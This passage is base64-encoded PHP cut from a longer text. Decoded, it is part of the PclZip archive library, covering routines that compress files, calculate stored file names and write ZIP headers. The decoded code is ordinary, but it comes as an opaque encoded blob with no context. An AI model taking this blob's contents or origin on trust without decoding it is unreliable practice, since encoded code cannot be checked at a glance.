ByZXNzIHRoZSBjb250ZW50CiAgICAgICAgICAkdl9jb250ZW50ID0gQGd6ZGVmbGF0ZSgkdl9jb250ZW50KTsKCiAgICAgICAgICAvLyAtLS0tLSBTZXQgaGVhZGVyIHBhcmFtZXRlcnMKICAgICAgICAgICRwX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSBzdHJsZW4oJHZfY29udGVudCk7CiAgICAgICAgICAkcF9oZWFkZXJbJ2NvbXByZXNzaW9uJ10gPSA4OwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gQ2FsbCB0aGUgaGVhZGVyIGdlbmVyYXRpb24KICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2V3JpdGVGaWxlSGVhZGVyKCRwX2hlYWRlcikpICE9IDEpIHsKICAgICAgICAgIEBmY2xvc2UoJHZfZmlsZSk7CiAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gV3JpdGUgdGhlIGNvbXByZXNzZWQgKG9yIG5vdCkgY29udGVudAogICAgICAgIEBmd3JpdGUoJHRoaXMtPnppcF9mZCwgJHZfY29udGVudCwgJHBfaGVhZGVyWydjb21wcmVzc2VkX3NpemUnXSk7CgogICAgICAgIH0KCiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGEgdmlydHVhbCBmaWxlIChhIGZpbGUgZnJvbSBzdHJpbmcpCiAgICAgIGVsc2UgaWYgKCRwX2ZpbGVkZXNjclsndHlwZSddID09ICd2aXJ0dWFsX2ZpbGUnKSB7CgogICAgICAgICR2X2NvbnRlbnQgPSAkcF9maWxlZGVzY3JbJ2NvbnRlbnQnXTsKCiAgICAgICAgLy8gLS0tLS0gQ2FsY3VsYXRlIHRoZSBDUkMKICAgICAgICAkcF9oZWFkZXJbJ2NyYyddID0gQGNyYzMyKCR2X2NvbnRlbnQpOwoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBubyBjb21wcmVzc2lvbgogICAgICAgIGlmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfTk9fQ09NUFJFU1NJT05dKSB7CiAgICAgICAgICAvLyAtLS0tLSBTZXQgaGVhZGVyIHBhcmFtZXRlcnMKICAgICAgICAgICRwX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSAkcF9oZWFkZXJbJ3NpemUnXTsKICAgICAgICAgICRwX2hlYWRlclsnY29tcHJlc3Npb24nXSA9IDA7CiAgICAgICAgfQoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBub3JtYWwgY29tcHJlc3Npb24KICAgICAgICBlbHNlIHsKICAgICAgICAgIC8vIC0tLS0tIENvbXByZXNzIHRoZSBjb250ZW50CiAgICAgICAgICAkdl9jb250ZW50ID0gQGd6ZGVmbGF0ZSgkdl9jb250ZW50KTsKCiAgICAgICAgICAvLyAtLS0tLSBTZXQgaGVhZGVyIHBhcmFtZXRlcnMKICAgICAgICAgICRwX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSBzdHJsZW4oJHZfY29udGVudCk7CiAgICAgICAgICAkcF9oZWFkZXJbJ2NvbXByZXNzaW9uJ10gPSA4OwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gQ2FsbCB0aGUgaGVhZGVyIGdlbmVyYXRpb24KICAgICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2V3JpdGVGaWxlSGVhZGVyKCRwX2hlYWRlcikpICE9IDEpIHsKICAgICAgICAgIEBmY2xvc2UoJHZfZmlsZSk7CiAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgLy8gLS0tLS0gV3JpdGUgdGhlIGNvbXByZXNzZWQgKG9yIG5vdCkgY29udGVudAogICAgICAgIEBmd3JpdGUoJHRoaXMtPnppcF9mZCwgJHZfY29udGVudCwgJHBfaGVhZGVyWydjb21wcmVzc2VkX3NpemUnXSk7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGEgZGlyZWN0b3J5CiAgICAgIGVsc2UgaWYgKCRwX2ZpbGVkZXNjclsndHlwZSddID09ICdmb2xkZXInKSB7CiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgZGlyZWN0b3J5IGxhc3QgJy8nCiAgICAgICAgaWYgKEBzdWJzdHIoJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSwgLTEpICE9ICcvJykgewogICAgICAgICAgJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSAuPSAnLyc7CiAgICAgICAgfQoKICAgICAgICAvLyAtLS0tLSBTZXQgdGhlIGZpbGUgcHJvcGVydGllcwogICAgICAgICRwX2hlYWRlclsnc2l6ZSddID0gMDsKICAgICAgICAvLyRwX2hlYWRlclsnZXh0ZXJuYWwnXSA9IDB4NDFGRjAwMTA7ICAgLy8gVmFsdWUgZm9yIGEgZm9sZGVyIDogdG8gYmUgY2hlY2tlZAogICAgICAgICRwX2hlYWRlclsnZXh0ZXJuYWwnXSA9IDB4MDAwMDAwMTA7ICAgLy8gVmFsdWUgZm9yIGEgZm9sZGVyIDogdG8gYmUgY2hlY2tlZAoKICAgICAgICAvLyAtLS0tLSBDYWxsIHRoZSBoZWFkZXIgZ2VuZXJhdGlvbgogICAgICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZXcml0ZUZpbGVIZWFkZXIoJHBfaGVhZGVyKSkgIT0gMSkKICAgICAgICB7CiAgICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICAgIH0KICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHBvc3QtYWRkIGNhbGxiYWNrCiAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfQ0JfUE9TVF9BRERdKSkgewoKICAgICAgLy8gLS0tLS0gR2VuZXJhdGUgYSBsb2NhbCBpbmZvcm1hdGlvbgogICAgICAkdl9sb2NhbF9oZWFkZXIgPSBhcnJheSgpOwogICAgICAkdGhpcy0+cHJpdkNvbnZlcnRIZWFkZXIyRmlsZUluZm8oJHBfaGVhZGVyLCAkdl9sb2NhbF9oZWFkZXIpOwoKICAgICAgLy8gLS0tLS0gQ2FsbCB0aGUgY2FsbGJhY2sKICAgICAgLy8gSGVyZSBJIGRvIG5vdCB1c2UgY2FsbF91c2VyX2Z1bmMoKSBiZWNhdXNlIEkgbmVlZCB0byBzZW5kIGEgcmVmZXJlbmNlIHRvIHRoZQogICAgICAvLyBoZWFkZXIuCiAgICAgICR2X3Jlc3VsdCA9ICRwX29wdGlvbnNbUENMWklQX0NCX1BPU1RfQUREXShQQ0xaSVBfQ0JfUE9TVF9BREQsICR2X2xvY2FsX2hlYWRlcik7CiAgICAgIGlmICgkdl9yZXN1bHQgPT0gMCkgewogICAgICAgIC8vIC0tLS0tIElnbm9yZWQKICAgICAgICAkdl9yZXN1bHQgPSAxOwogICAgICB9CgogICAgICAvLyAtLS0tLSBVcGRhdGUgdGhlIGluZm9ybWF0aW9ucwogICAgICAvLyBOb3RoaW5nIGNhbiBiZSBtb2RpZmllZAogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZBZGRGaWxlVXNpbmdUZW1wRmlsZSgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdkFkZEZpbGVVc2luZ1RlbXBGaWxlKCRwX2ZpbGVkZXNjciwgJiRwX2hlYWRlciwgJiRwX29wdGlvbnMpCiAgewogICAgJHZfcmVzdWx0PVBDTFpJUF9FUlJfTk9fRVJST1I7CgogICAgLy8gLS0tLS0gV29ya2luZyB2YXJpYWJsZQogICAgJHBfZmlsZW5hbWUgPSAkcF9maWxlZGVzY3JbJ2ZpbGVuYW1lJ107CgoKICAgIC8vIC0tLS0tIE9wZW4gdGhlIHNvdXJjZSBmaWxlCiAgICBpZiAoKCR2X2ZpbGUgPSBAZm9wZW4oJHBfZmlsZW5hbWUsICJyYiIpKSA9PSAwKSB7CiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICJVbmFibGUgdG8gb3BlbiBmaWxlICckcF9maWxlbmFtZScgaW4gYmluYXJ5IHJlYWQgbW9kZSIpOwogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBDcmVhdGVzIGEgY29tcHJlc3NlZCB0ZW1wb3JhcnkgZmlsZQogICAgJHZfZ3ppcF90ZW1wX25hbWUgPSBQQ0xaSVBfVEVNUE9SQVJZX0RJUi51bmlxaWQoJ3BjbHppcC0nKS4nLmd6JzsKICAgIGlmICgoJHZfZmlsZV9jb21wcmVzc2VkID0gQGd6b3Blbigkdl9nemlwX3RlbXBfbmFtZSwgIndiIikpID09IDApIHsKICAgICAgZmNsb3NlKCR2X2ZpbGUpOwogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX1dSSVRFX09QRU5fRkFJTCwgJ1VuYWJsZSB0byBvcGVuIHRlbXBvcmFyeSBmaWxlIFwnJy4kdl9nemlwX3RlbXBfbmFtZS4nXCcgaW4gYmluYXJ5IHdyaXRlIG1vZGUnKTsKICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICB9CgogICAgLy8gLS0tLS0gUmVhZCB0aGUgZmlsZSBieSBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFIG9jdGV0cyBibG9ja3MKICAgICR2X3NpemUgPSBmaWxlc2l6ZSgkcF9maWxlbmFtZSk7CiAgICB3aGlsZSAoJHZfc2l6ZSAhPSAwKSB7CiAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgJHZfYnVmZmVyID0gQGZyZWFkKCR2X2ZpbGUsICR2X3JlYWRfc2l6ZSk7CiAgICAgIC8vJHZfYmluYXJ5X2RhdGEgPSBwYWNrKCdhJy4kdl9yZWFkX3NpemUsICR2X2J1ZmZlcik7CiAgICAgIEBnenB1dHMoJHZfZmlsZV9jb21wcmVzc2VkLCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CiAgICAgICR2X3NpemUgLT0gJHZfcmVhZF9zaXplOwogICAgfQoKICAgIC8vIC0tLS0tIENsb3NlIHRoZSBmaWxlCiAgICBAZmNsb3NlKCR2X2ZpbGUpOwogICAgQGd6Y2xvc2UoJHZfZmlsZV9jb21wcmVzc2VkKTsKCiAgICAvLyAtLS0tLSBDaGVjayB0aGUgbWluaW11bSBmaWxlIHNpemUKICAgIGlmIChmaWxlc2l6ZSgkdl9nemlwX3RlbXBfbmFtZSkgPCAxOCkgewogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0JBRF9GT1JNQVQsICdnemlwIHRlbXBvcmFyeSBmaWxlIFwnJy4kdl9nemlwX3RlbXBfbmFtZS4nXCcgaGFzIGludmFsaWQgZmlsZXNpemUgLSBzaG91bGQgYmUgbWluaW11bSAxOCBieXRlcycpOwogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBFeHRyYWN0IHRoZSBjb21wcmVzc2VkIGF0dHJpYnV0ZXMKICAgIGlmICgoJHZfZmlsZV9jb21wcmVzc2VkID0gQGZvcGVuKCR2X2d6aXBfdGVtcF9uYW1lLCAicmIiKSkgPT0gMCkgewogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMLCAnVW5hYmxlIHRvIG9wZW4gdGVtcG9yYXJ5IGZpbGUgXCcnLiR2X2d6aXBfdGVtcF9uYW1lLidcJyBpbiBiaW5hcnkgcmVhZCBtb2RlJyk7CiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgfQoKICAgIC8vIC0tLS0tIFJlYWQgdGhlIGd6aXAgZmlsZSBoZWFkZXIKICAgICR2X2JpbmFyeV9kYXRhID0gQGZyZWFkKCR2X2ZpbGVfY29tcHJlc3NlZCwgMTApOwogICAgJHZfZGF0YV9oZWFkZXIgPSB1bnBhY2soJ2ExaWQxL2ExaWQyL2ExY20vYTFmbGFnL1ZtdGltZS9hMXhmbC9hMW9zJywgJHZfYmluYXJ5X2RhdGEpOwoKICAgIC8vIC0tLS0tIENoZWNrIHNvbWUgcGFyYW1ldGVycwogICAgJHZfZGF0YV9oZWFkZXJbJ29zJ10gPSBiaW4yaGV4KCR2X2RhdGFfaGVhZGVyWydvcyddKTsKCiAgICAvLyAtLS0tLSBSZWFkIHRoZSBnemlwIGZpbGUgZm9vdGVyCiAgICBAZnNlZWsoJHZfZmlsZV9jb21wcmVzc2VkLCBmaWxlc2l6ZSgkdl9nemlwX3RlbXBfbmFtZSktOCk7CiAgICAkdl9iaW5hcnlfZGF0YSA9IEBmcmVhZCgkdl9maWxlX2NvbXByZXNzZWQsIDgpOwogICAgJHZfZGF0YV9mb290ZXIgPSB1bnBhY2soJ1ZjcmMvVmNvbXByZXNzZWRfc2l6ZScsICR2X2JpbmFyeV9kYXRhKTsKCiAgICAvLyAtLS0tLSBTZXQgdGhlIGF0dHJpYnV0ZXMKICAgICRwX2hlYWRlclsnY29tcHJlc3Npb24nXSA9IG9yZCgkdl9kYXRhX2hlYWRlclsnY20nXSk7CiAgICAvLyRwX2hlYWRlclsnbXRpbWUnXSA9ICR2X2RhdGFfaGVhZGVyWydtdGltZSddOwogICAgJHBfaGVhZGVyWydjcmMnXSA9ICR2X2RhdGFfZm9vdGVyWydjcmMnXTsKICAgICRwX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSBmaWxlc2l6ZSgkdl9nemlwX3RlbXBfbmFtZSktMTg7CgogICAgLy8gLS0tLS0gQ2xvc2UgdGhlIGZpbGUKICAgIEBmY2xvc2UoJHZfZmlsZV9jb21wcmVzc2VkKTsKCiAgICAvLyAtLS0tLSBDYWxsIHRoZSBoZWFkZXIgZ2VuZXJhdGlvbgogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdldyaXRlRmlsZUhlYWRlcigkcF9oZWFkZXIpKSAhPSAxKSB7CiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gQWRkIHRoZSBjb21wcmVzc2VkIGRhdGEKICAgIGlmICgoJHZfZmlsZV9jb21wcmVzc2VkID0gQGZvcGVuKCR2X2d6aXBfdGVtcF9uYW1lLCAicmIiKSkgPT0gMCkKICAgIHsKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9SRUFEX09QRU5fRkFJTCwgJ1VuYWJsZSB0byBvcGVuIHRlbXBvcmFyeSBmaWxlIFwnJy4kdl9nemlwX3RlbXBfbmFtZS4nXCcgaW4gYmluYXJ5IHJlYWQgbW9kZScpOwogICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgIH0KCiAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaWxlIGJ5IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUgb2N0ZXRzIGJsb2NrcwogICAgZnNlZWsoJHZfZmlsZV9jb21wcmVzc2VkLCAxMCk7CiAgICAkdl9zaXplID0gJHBfaGVhZGVyWydjb21wcmVzc2VkX3NpemUnXTsKICAgIHdoaWxlICgkdl9zaXplICE9IDApCiAgICB7CiAgICAgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgJHZfYnVmZmVyID0gQGZyZWFkKCR2X2ZpbGVfY29tcHJlc3NlZCwgJHZfcmVhZF9zaXplKTsKICAgICAgLy8kdl9iaW5hcnlfZGF0YSA9IHBhY2soJ2EnLiR2X3JlYWRfc2l6ZSwgJHZfYnVmZmVyKTsKICAgICAgQGZ3cml0ZSgkdGhpcy0+emlwX2ZkLCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CiAgICAgICR2X3NpemUgLT0gJHZfcmVhZF9zaXplOwogICAgfQoKICAgIC8vIC0tLS0tIENsb3NlIHRoZSBmaWxlCiAgICBAZmNsb3NlKCR2X2ZpbGVfY29tcHJlc3NlZCk7CgogICAgLy8gLS0tLS0gVW5saW5rIHRoZSB0ZW1wb3JhcnkgZmlsZQogICAgQHVubGluaygkdl9nemlwX3RlbXBfbmFtZSk7CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdkNhbGN1bGF0ZVN0b3JlZEZpbGVuYW1lKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gICBCYXNlZCBvbiBmaWxlIGRlc2NyaXB0b3IgcHJvcGVydGllcyBhbmQgZ2xvYmFsIG9wdGlvbnMsIHRoaXMgbWV0aG9kCiAgLy8gICBjYWxjdWxhdGUgdGhlIGZpbGVuYW1lIHRoYXQgd2lsbCBiZSBzdG9yZWQgaW4gdGhlIGFyY2hpdmUuCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2Q2FsY3VsYXRlU3RvcmVkRmlsZW5hbWUoJiRwX2ZpbGVkZXNjciwgJiRwX29wdGlvbnMpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gV29ya2luZyB2YXJpYWJsZXMKICAgICRwX2ZpbGVuYW1lID0gJHBfZmlsZWRlc2NyWydmaWxlbmFtZSddOwogICAgaWYgKGlzc2V0KCRwX29wdGlvbnNbUENMWklQX09QVF9BRERfUEFUSF0pKSB7CiAgICAgICRwX2FkZF9kaXIgPSAkcF9vcHRpb25zW1BDTFpJUF9PUFRfQUREX1BBVEhdOwogICAgfQogICAgZWxzZSB7CiAgICAgICRwX2FkZF9kaXIgPSAnJzsKICAgIH0KICAgIGlmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfUkVNT1ZFX1BBVEhdKSkgewogICAgICAkcF9yZW1vdmVfZGlyID0gJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIXTsKICAgIH0KICAgIGVsc2UgewogICAgICAkcF9yZW1vdmVfZGlyID0gJyc7CiAgICB9CiAgICBpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSF0pKSB7CiAgICAgICRwX3JlbW92ZV9hbGxfZGlyID0gJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSF07CiAgICB9CiAgICBlbHNlIHsKICAgICAgJHBfcmVtb3ZlX2FsbF9kaXIgPSAwOwogICAgfQoKCiAgICAvLyAtLS0tLSBMb29rIGZvciBmdWxsIG5hbWUgY2hhbmdlCiAgICBpZiAoaXNzZXQoJHBfZmlsZWRlc2NyWyduZXdfZnVsbF9uYW1lJ10pKSB7CiAgICAgIC8vIC0tLS0tIFJlbW92ZSBkcml2ZSBsZXR0ZXIgaWYgYW55CiAgICAgICR2X3N0b3JlZF9maWxlbmFtZSA9IFBjbFppcFV0aWxUcmFuc2xhdGVXaW5QYXRoKCRwX2ZpbGVkZXNjclsnbmV3X2Z1bGxfbmFtZSddKTsKICAgIH0KCiAgICAvLyAtLS0tLSBMb29rIGZvciBwYXRoIGFuZC9vciBzaG9ydCBuYW1lIGNoYW5nZQogICAgZWxzZSB7CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBzaG9ydCBuYW1lIGNoYW5nZQogICAgICAvLyBJdHMgd2hlbiB3ZSBjYWhuZ2UganVzdCB0aGUgZmlsZW5hbWUgYnV0IG5vdCB0aGUgcGF0aAogICAgICBpZiAoaXNzZXQoJHBfZmlsZWRlc2NyWyduZXdfc2hvcnRfbmFtZSddKSkgewogICAgICAgICR2X3BhdGhfaW5mbyA9IHBhdGhpbmZvKCRwX2ZpbGVuYW1lKTsKICAgICAgICAkdl9kaXIgPSAnJzsKICAgICAgICBpZiAoJHZfcGF0aF9pbmZvWydkaXJuYW1lJ10gIT0gJycpIHsKICAgICAgICAgICR2X2RpciA9ICR2X3BhdGhfaW5mb1snZGlybmFtZSddLicvJzsKICAgICAgICB9CiAgICAgICAgJHZfc3RvcmVkX2ZpbGVuYW1lID0gJHZfZGlyLiRwX2ZpbGVkZXNjclsnbmV3X3Nob3J0X25hbWUnXTsKICAgICAgfQogICAgICBlbHNlIHsKICAgICAgICAvLyAtLS0tLSBDYWxjdWxhdGUgdGhlIHN0b3JlZCBmaWxlbmFtZQogICAgICAgICR2X3N0b3JlZF9maWxlbmFtZSA9ICRwX2ZpbGVuYW1lOwogICAgICB9CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBhbGwgcGF0aCB0byByZW1vdmUKICAgICAgaWYgKCRwX3JlbW92ZV9hbGxfZGlyKSB7CiAgICAgICAgJHZfc3RvcmVkX2ZpbGVuYW1lID0gYmFzZW5hbWUoJHBfZmlsZW5hbWUpOwogICAgICB9CiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHBhcnRpYWwgcGF0aCByZW1vdmUKICAgICAgZWxzZSBpZiAoJHBfcmVtb3ZlX2RpciAhPSAiIikgewogICAgICAgIGlmIChzdWJzdHIoJHBfcmVtb3ZlX2RpciwgLTEpICE9ICcvJykKICAgICAgICAgICRwX3JlbW92ZV9kaXIgLj0gIi8iOwoKICAgICAgICBpZiAoICAgKHN1YnN0cigkcF9maWxlbmFtZSwgMCwgMikgPT0gIi4vIikKICAgICAgICAgICAgfHwgKHN1YnN0cigkcF9yZW1vdmVfZGlyLCAwLCAyKSA9PSAiLi8iKSkgewoKICAgICAgICAgIGlmICggICAoc3Vic3RyKCRwX2ZpbGVuYW1lLCAwLCAyKSA9PSAiLi8iKQogICAgICAgICAgICAgICYmIChzdWJzdHIoJHBfcmVtb3ZlX2RpciwgMCwgMikgIT0gIi4vIikpIHsKICAgICAgICAgICAgJHBfcmVtb3ZlX2RpciA9ICIuLyIuJHBfcmVtb3ZlX2RpcjsKICAgICAgICAgIH0KICAgICAgICAgIGlmICggICAoc3Vic3RyKCRwX2ZpbGVuYW1lLCAwLCAyKSAhPSAiLi8iKQogICAgICAgICAgICAgICYmIChzdWJzdHIoJHBfcmVtb3ZlX2RpciwgMCwgMikgPT0gIi4vIikpIHsKICAgICAgICAgICAgJHBfcmVtb3ZlX2RpciA9IHN1YnN0cigkcF9yZW1vdmVfZGlyLCAyKTsKICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICR2X2NvbXBhcmUgPSBQY2xaaXBVdGlsUGF0aEluY2x1c2lvbigkcF9yZW1vdmVfZGlyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdl9zdG9yZWRfZmlsZW5hbWUpOwogICAgICAgIGlmICgkdl9jb21wYXJlID4gMCkgewogICAgICAgICAgaWYgKCR2X2NvbXBhcmUgPT0gMikgewogICAgICAgICAgICAkdl9zdG9yZWRfZmlsZW5hbWUgPSAiIjsKICAgICAgICAgIH0KICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAkdl9zdG9yZWRfZmlsZW5hbWUgPSBzdWJzdHIoJHZfc3RvcmVkX2ZpbGVuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RybGVuKCRwX3JlbW92ZV9kaXIpKTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIFJlbW92ZSBkcml2ZSBsZXR0ZXIgaWYgYW55CiAgICAgICR2X3N0b3JlZF9maWxlbmFtZSA9IFBjbFppcFV0aWxUcmFuc2xhdGVXaW5QYXRoKCR2X3N0b3JlZF9maWxlbmFtZSk7CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBwYXRoIHRvIGFkZAogICAgICBpZiAoJHBfYWRkX2RpciAhPSAiIikgewogICAgICAgIGlmIChzdWJzdHIoJHBfYWRkX2RpciwgLTEpID09ICIvIikKICAgICAgICAgICR2X3N0b3JlZF9maWxlbmFtZSA9ICRwX2FkZF9kaXIuJHZfc3RvcmVkX2ZpbGVuYW1lOwogICAgICAgIGVsc2UKICAgICAgICAgICR2X3N0b3JlZF9maWxlbmFtZSA9ICRwX2FkZF9kaXIuIi8iLiR2X3N0b3JlZF9maWxlbmFtZTsKICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIEZpbGVuYW1lIChyZWR1Y2UgdGhlIHBhdGggb2Ygc3RvcmVkIG5hbWUpCiAgICAkdl9zdG9yZWRfZmlsZW5hbWUgPSBQY2xaaXBVdGlsUGF0aFJlZHVjdGlvbigkdl9zdG9yZWRfZmlsZW5hbWUpOwogICAgJHBfZmlsZWRlc2NyWydzdG9yZWRfZmlsZW5hbWUnXSA9ICR2X3N0b3JlZF9maWxlbmFtZTsKCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2V3JpdGVGaWxlSGVhZGVyKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2V3JpdGVGaWxlSGVhZGVyKCYkcF9oZWFkZXIpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gU3RvcmUgdGhlIG9mZnNldCBwb3NpdGlvbiBvZiB0aGUgZmlsZQogICAgJHBfaGVhZGVyWydvZmZzZXQnXSA9IGZ0ZWxsKCR0aGlzLT56aXBfZmQpOwoKICAgIC8vIC0tLS0tIFRyYW5zZm9ybSBVTklYIG10aW1lIHRvIERPUyBmb3JtYXQgbWRhdGUvbXRpbWUKICAgICR2X2RhdGUgPSBnZXRkYXRlKCRwX2hlYWRlclsnbXRpbWUnXSk7CiAgICAkdl9tdGltZSA9ICgkdl9kYXRlWydob3VycyddPDwxMSkgKyAoJHZfZGF0ZVsnbWludXRlcyddPDw1KSArICR2X2RhdGVbJ3NlY29uZHMnXS8yOwogICAgJHZfbWRhdGUgPSAoKCR2X2RhdGVbJ3llYXInXS0xOTgwKTw8OSkgKyAoJHZfZGF0ZVsnbW9uJ108PDUpICsgJHZfZGF0ZVsnbWRheSddOwoKICAgIC8vIC0tLS0tIFBhY2tlZCBkYXRhCiAgICAkdl9iaW5hcnlfZGF0YSA9IHBhY2soIlZ2dnZ2dlZWVnZ2IiwgMHgwNDAzNGI1MCwKCSAgICAgICAgICAgICAgICAgICAgICAkcF9oZWFkZXJbJ3ZlcnNpb25fZXh0cmFjdGVkJ10sICRwX2hlYWRlclsnZmxhZyddLAogICAgICAgICAgICAgICAgICAgICAgICAgICRwX2hlYWRlclsnY29tcHJlc3Npb24nXSwgJHZfbXRpbWUsICR2X21kYXRlLAogICAgICAgICAgICAgICAgICAgICAgICAgICRwX2hlYWRlclsnY3JjJ10sICRwX2hlYWRlclsnY29tcHJlc